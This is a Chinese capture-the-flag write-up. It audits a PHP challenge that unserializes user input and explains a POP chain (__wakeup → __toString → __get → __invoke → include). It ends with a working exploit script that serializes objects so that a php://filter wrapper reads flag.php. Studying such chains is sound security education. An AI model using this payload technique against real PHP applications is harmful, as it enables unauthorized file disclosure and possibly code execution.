pop链的利用
多种魔术方法的了解
__wakeup() //使用unserialize时触发 __get() //用于从不可访问的属性读取数据 __toString() //把类当作字符串使用时触发 __invoke() //当脚本尝试将对象调用为函数时触发
直接给出如下源码,先提示我们flag在flag.php下:
Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
将代码分为三段审计
第一段
<?php
//flag is in flag.php
class Modifier {//定义一个Modifier类
protected $var;
public function append($value){
include($value);//包含并执行
}
public function __invoke(){
$this->append($this->var);//调用append读取flag,invoke()函数将会以调用函数的方式调用一个对象,也就是这里定义的Modifier
}
}
我是这样理解的,首先调用了include函数,可以使用伪协议读取提示的flag.php中的内容,由于第二段源码内,正则表达式过滤file,dict等协议。猜测让$var=php://filter/read=convert.base64-encode/resource=flag.php,其次使用魔术方法__invoke,当脚本尝试将对象调用为函数时触发,在这里要把Modifier类调用为函数
思路1:则只要invoke被回调就能读取flag,所以Modifier类是触发漏洞的最后一环
那如何调用invoke呢?顺着这个思路我们跳过第二段先看第三段:
class Test{
? ?public $p;
? ?public function __construct(){
? ? ? ?$this->p = array();
? }? ?
?
public function __get($key){
? ? ? ?$function = $this->p; ? ? ? ?
return $function(); ?
}
}
注意上方代码的__get(),直接将$this->p作为函数来调用,那是否可以将$this->p引入构造好的Modifier对象呢?所以我们需要寻找触发Test的__get()方法的地方。__get()在获得一个类的成员变量时调用,既然触发一定是$xx -> 构造好的Test对象 ->xx这样一个形式
看到这里大致思路2就是:既然__get()在获得一个类的成员变量时function函数被调用,就会使class Modifier中的__invoke()读取flag,只需实例化class Test且触发__get()即可获得flag,问题是如何触发__get()呢?
第二段 ?
class Show{
public $source;
public $str;
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
从下往上审计,__wakeup()函数在被反序列化时被调用,其中执行正则表达式时,就会对source进而触发__toString()方法。那为什么会触发呢?因为__toString()会在对象当作字符串使用时触发,接下来return一个str中的source,那么当str被赋值为一个实例化对象后只要该对象没有source属性,就可以触发__get()方法,刚好Test中没有source
?思路3:通过show的__wakeup(),调用__toString(),再调用Test的__get(),触发Modifier的__invoke()
简单的exp
<?php
class Modifier {
protected $var = "php://filter/read=convert.base64-encode/resource=flag.php";
}
class Show{
public $source;
public $str;
}
class Test{
public $p;
}
$test = new Test();
$test -> p = new Modifier();
$show = new Show();
$show->str = $test;
$show1 = new Show();
$show1->source = $show;
echo urlencode(serialize($show1));
?>
将编码生成的内容以get方式提交
base64解码
|